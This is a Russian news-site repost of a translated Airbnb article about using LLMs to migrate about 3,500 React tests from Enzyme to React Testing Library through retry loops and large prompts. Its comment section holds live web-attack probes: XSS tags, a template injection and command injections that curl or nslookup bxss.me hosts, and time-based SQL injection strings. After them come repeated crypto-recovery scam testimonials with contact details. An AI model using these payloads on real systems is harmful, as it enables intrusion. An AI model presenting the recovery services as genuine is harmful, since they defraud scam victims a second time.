Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

[Перевод] Ускорение крупномасштабной миграции тестов с помощью LLM

TL;DR

  • Задача: перевести тесты React с Enzyme на RTL без потери замысла и покрытия.

  • Подход: LLM-управляемый пофайловый конвейер в виде машины состояний: Enzyme→RTL → Jest → ESLint --fix → фиксы линтера → TSC.

  • Ретраи: повтор шагов до успеха; на каждом повторе модель получает актуальный файл и логи валидации (динамические промпты).

  • Контекст: для сложных кейсов промпты 40–100k токенов (до ~50 связанных файлов, хорошие примеры RTL, исходники компонента и импортов).

  • Масштаб: ~3,5 тыс. файлов; 75% автоматически за 4 часа; 97% — после 4 дней цикла «sample → tune → sweep»; оставшиеся ~3% завершены вручную на базе автоконверсий.

  • Инженерные практики: автокомментарий со статусом шага прямо в файле; перезапуски по маскам путей и нужному шагу; сбор метрик отказов по стадиям.

  • Результат: сохранены смысл тестов и покрытие; весь проект занял ~6 недель и оказался существенно дешевле оценки ~1,5 лет ручной миграции.

  • Вывод: решают процесс и данные — LLM эффективна в связке с проверками, ретраями и насыщенным контекстом; подход масштабируется на другие миграции/рефакторинги.

Airbnb недавно завершила первую крупномасштабную миграцию кода под управлением LLM: мы обновили почти 3,5 тысячи файлов тестов React-компонентов, переведя их с Enzyme на React Testing Library (RTL). По первоначальным оценкам ручная работа заняла бы 1,5 года инженерного времени, но — используя сочетание передовых моделей и надёжной автоматизации — миграция завершилась всего за 6 недель.

В этой статье я расскажу о сложностях, с которыми мы столкнулись при переходе с Enzyme на RTL, почему LLM отлично подходят для такого рода задач и как мы спроектировали инструменты миграции, чтобы запускать LLM-управляемую миграцию в масштабах всей кодовой базы.

Предпосылки

В 2020 году Airbnb приняла React Testing Library (RTL) для разработки всех новых тестов React-компонентов — это были наши первые шаги в сторону отказа от Enzyme. Хотя Enzyme хорошо служил нам с 2015 года, он был рассчитан на более ранние версии React, и его глубокий доступ к внутренностям компонентов перестал соответствовать современным практикам тестирования в React.

Однако из-за принципиальных различий между этими фреймворками мы не могли просто заменить один другим (подробнее о различиях см. здесь). Мы также не могли просто удалить файлы Enzyme: анализ показал, что это приведёт к существенным «дырам» в кодовом покрытии. Чтобы выполнить миграцию, нам требовался автоматизированный способ рефакторинга тестовых файлов с Enzyme на RTL при сохранении замысла исходных тестов и уровня их покрытия.

Как мы это сделали

В середине 2023 года команда на хакатоне в Airbnb показала, что большие языковые модели способны всего за несколько дней успешно конвертировать сотни файлов Enzyme в RTL.

Опираясь на этот многообещающий результат, в 2024 году мы разработали масштабируемый пайплайн для миграции с использованием LLM. Мы разбили миграцию на дискретные, пофайловые шаги, которые можно распараллелить, добавили настраиваемые циклы повторных попыток (ретраи) и существенно расширили наши промпты дополнительным контекстом. Наконец, мы выполнили «широкофронтальную» настройку промптов для «длинного хвоста» сложных файлов.

  1. Шаги проверки файлов и рефакторинга

Мы начали с разбиения миграции на серию автоматизированных шагов валидации и рефакторинга. Представьте это как продакшн-пайплайн: каждый файл проходит стадии проверки, и когда проверка падает — мы подключаем LLM, чтобы её исправить.

Мы смоделировали поток как машину состояний, переводя файл в следующее состояние только после того, как пройдена валидация на предыдущем:

Шаги миграции для каждого файла

Шаг / условие

Действие LLM / результат

1) Есть ли в файле Enzyme?

Рефакторинг на React Testing Library (RTL)

2) Проходят ли тесты Jest?

Исправление тестов Jest

3) Запустить линтер с --fix

4) Всё ещё остались ошибки линтинга?

Исправление ошибок линтера

5) Есть проблемы с типами TypeScript?

Исправление типов

Итог

Файл готов 🎉

Этот пошаговый подход стал надёжной основой нашего конвейера автоматизации. Он позволил отслеживать прогресс, снижать долю отказов на конкретных шагах и при необходимости повторно запускать обработку файлов или отдельных стадий. Пошаговый подход также упростил параллельный запуск миграции для сотен файлов, что было критично как для быстрого перевода простых файлов, так и для постепенной «разборки» длинного хвоста более сложных случаев на поздних этапах миграции.

2. Циклы повторных попыток и динамические промпты

На ранних этапах миграции мы экспериментировали с разными стратегиями промпт-инжиниринга, чтобы повысить вероятность успешной конвертации каждого файла. Однако, опираясь на пошаговую схему, мы обнаружили, что наиболее эффективный способ улучшить результаты — это простой «силовой» подход: повторять шаги до тех пор, пока они не пройдут, либо пока не будет достигнут лимит попыток. Мы обновили шаги так, чтобы на каждой повторной попытке использовать динамические промпты: передавать LLM сообщения о результатах валидации и актуальную версию файла. Также мы написали раннер циклов, который прогонял каждый шаг до настраиваемого максимального числа попыток.

Схема цикла повторных попыток. Для заданного шага N, если в файле есть ошибки, мы повторяем валидацию и пытаемся исправить ошибки, пока не достигнем максимума попыток или ошибок больше не останется.
Схема цикла повторных попыток. Для заданного шага N, если в файле есть ошибки, мы повторяем валидацию и пытаемся исправить ошибки, пока не достигнем максимума попыток или ошибок больше не останется.

С этим простым циклом повторных попыток нам удалось успешно мигрировать большое количество тестовых файлов от простых до средней сложности: часть завершалась после нескольких ретраев, а большинство — к десятой попытке.

3. Расширение контекста

Для файлов до определённого уровня сложности одного лишь увеличения числа повторных попыток было достаточно. Однако для случаев со сложной инициализацией состояния тестов или чрезмерной косвенности мы нашли более действенный подход: включать в промпты максимально релевантный контекст.

К концу миграции объём наших промптов вырос до диапазона от 40 000 до 100 000 токенов: мы подтягивали до 50 связанных файлов, большое количество вручную подготовленных few-shot-примеров, а также примеры существующих, хорошо написанных и проходящих тестов из того же проекта.

В каждом промпте были:

  • Исходный код тестируемого компонента

  • Тестовый файл, который мы мигрировали

  • Ошибки валидации для текущего шага

  • Связанные тесты из той же директории (с сохранением командных паттернов)

  • Общие рекомендации по миграции и типовые решения

Вот как это выглядело на практике (существенно сокращено для удобства чтения):

// Пример кода показывает упрощённую версию промпта,
// который включает исходный код из связанных файлов, импорты,
// примеры, исходник самого компонента и тестовый файл для миграции.

const prompt = [
  'Convert this Enzyme test to React Testing Library:',
  `SIBLING TESTS:\n${siblingTestFilesSourceCode}`,
  `RTL EXAMPLES:\n${reactTestingLibraryExamples}`,
  `IMPORTS:\n${nearestImportSourceCode}`,
  `COMPONENT SOURCE:\n${componentFileSourceCode}`,
  `TEST TO MIGRATE:\n${testFileSourceCode}`,
].join('\n\n');

Этот подход с насыщенным контекстом оказался очень эффективным для более сложных файлов — LLM лучше понимала командные шаблоны, распространённые подходы к тестированию и общую архитектуру кодовой базы.

Отметим, что хотя на этом этапе мы действительно занимались промпт-инжинирингом, ключевым фактором успеха стало именно правильное включение релевантных файлов (поиск близких по расположению, хороших примеров из того же проекта, фильтрация зависимостей до действительно относящихся к компоненту и т. п.), а не идеальная «шлифовка» формулировок промптов.

После разработки и отладки наших миграционных скриптов с ретраями и богатым контекстом при первом массовом прогоне мы успешно мигрировали 75% целевых файлов всего за четыре часа.

4. С 75% до 97%: систематическое улучшение

Достигнуть показателя в 75% было приятно, но это всё ещё оставляло нам почти 900 файлов, не прошедших наши пошаговые критерии валидации. Чтобы разобраться с этим «длинным хвостом», нам потребовался системный способ понять, где именно застревают оставшиеся файлы, и улучшить миграционные скрипты так, чтобы адресовать эти проблемы. Мы также хотели двигаться широким фронтом, чтобы максимально быстро сокращать число оставшихся файлов, не застревая на самых сложных случаях миграции.

Для этого мы добавили в наши инструменты миграции две функции.

Во-первых, мы сделали простую систему, которая давала видимость типовых проблем, с которыми сталкивались скрипты: мы проставляли в файлах автоматически сгенерированный комментарий со статусом каждого шага миграции. Вот как выглядел этот комментарий в коде:

// MIGRATION STATUS: {"enyzme":"done","jest":{"passed":8,"failed":2,"total":10,"skipped":0,"successRate":80},"eslint":"pending","tsc":"pending",}

И во-вторых, мы добавили возможность легко перезапускать отдельные файлы или наборы по шаблонам путей, с фильтрацией по конкретному шагу, на котором они застряли:

$ llm-bulk-migration --step=fix-jest --match=project-abc/**

Используя эти две функции, мы могли быстро запускать цикл обратной связи для улучшения наших промптов и инструментария:

  1. Запустить все оставшиеся «падающие» файлы, чтобы найти общие проблемы, на которых спотыкается LLM

  2. Сделать выборку из 5–10 файлов, которые демонстрируют типовую проблем

  3. Обновить промпты и скрипты, чтобы адресовать эту проблему

  4. Перезапустить на выборке «падающих» файлов, чтобы проверить, что исправление работает

  5. Повторить, прогнав снова все оставшиеся файлы

После четырёх дней прогона по схеме «sample, tune, sweep» мы увеличили долю завершённых файлов с 75% до 97% от общего числа, и оставалось чуть меньше 100 файлов. К этому моменту мы повторяли попытки по многим из этих «хвостовых» файлов от 50 до 100 раз и, похоже, упёрлись в потолок того, что можно исправить автоматически. Вместо дальнейшей настройки мы решили доделать оставшиеся файлы вручную, опираясь на базовые (пока падающие) варианты рефакторинга, чтобы быстрее довести их до финиша.

Результаты и влияние

Благодаря пайплайну валидации и рефакторинга, циклам повторных попыток и расширенному контексту нам удалось автоматически мигрировать 75% целевых файлов за 4 часа.

После четырёх дней доработки промптов и скриптов по схеме «выборка — настройка — массовый прогон» мы достигли отметки 97% из исходных 3,5 тыс. файлов Enzyme.

А для оставшихся 3% файлов, которые не удалось завершить автоматически, наши скрипты дали отличную базу для ручного вмешательства, что позволило завершить их миграцию ещё за неделю работы.

Самое важное — нам удалось заменить Enzyme, сохранив исходный замысел тестов и наше общее кодовое покрытие. И даже при большом числе повторных попыток на «длинном хвосте» миграции итоговая стоимость — включая использование API LLM и шесть недель инженерного времени — оказалась существенно эффективнее по сравнению с нашей первоначальной оценкой ручной миграции.

Что дальше

Эта миграция подчёркивает потенциал LLM для крупномасштабных преобразований кода. Мы планируем расширять этот подход, развивать более продвинутые инструменты миграции и исследовать новые сценарии автоматизации на базе LLM для повышения продуктивности разработчиков.

Меньше магии промптов, больше воспроизводимых процессов, метрик и экономики качества — на курсе «QA Lead». Курс помогает перевести разовые миграции и ретраи в управляемую практику команды: стратегия тестирования, данные для решений, автоматизация и её ROI, коммуникации со стейкхолдерами. Научитесь эффективно управлять командами тестирования.

А освоить автоматизацию тестирования на JavaScript можно на практическом курсе от экспертов индустрии. Чтобы узнать, подойдет ли вам программа курса, пройдите вступительный тест.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 